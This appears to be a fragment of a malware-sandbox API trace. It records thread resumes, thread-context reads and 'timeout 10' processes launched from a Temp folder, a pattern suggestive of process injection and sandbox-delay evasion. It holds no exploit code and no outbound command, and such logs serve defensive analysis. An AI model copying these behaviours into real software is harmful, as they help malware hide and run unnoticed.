NtResumeThread

 thread_handle: 0x0000000000000388
suspend_count: 1
process_identifier: 2468
1 0 0

CreateProcessInternalW

 thread_identifier: 2808
thread_handle: 0x0000000000000060
process_identifier: 2804
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\timeout.exe
track: 1
command_line: timeout 10
filepath_r: C:\Windows\system32\timeout.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

 thread_handle: 0x000000e4
suspend_count: 1
process_identifier: 3012
1 0 0

NtResumeThread

 thread_handle: 0x00000158
suspend_count: 1
process_identifier: 3012
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 3012
1 0 0

NtResumeThread

 thread_handle: 0x000001f4
suspend_count: 1
process_identifier: 3012
1 0 0

NtGetContextThread

 thread_handle: 0x000000ec
1 0 0

NtGetContextThread

 thread_handle: 0x000000ec
1 0 0

NtResumeThread

 thread_handle: 0x000000ec
suspend_count: 1
process_identifier: 3012
1 0 0

CreateProcessInternalW

 thread_identifier: 2336
thread_handle: 0x0000000000000060
process_identifier: 2264
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\timeout.exe
track: 1
command_line: timeout 10
filepath_r: C:\Windows\system32\timeout.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0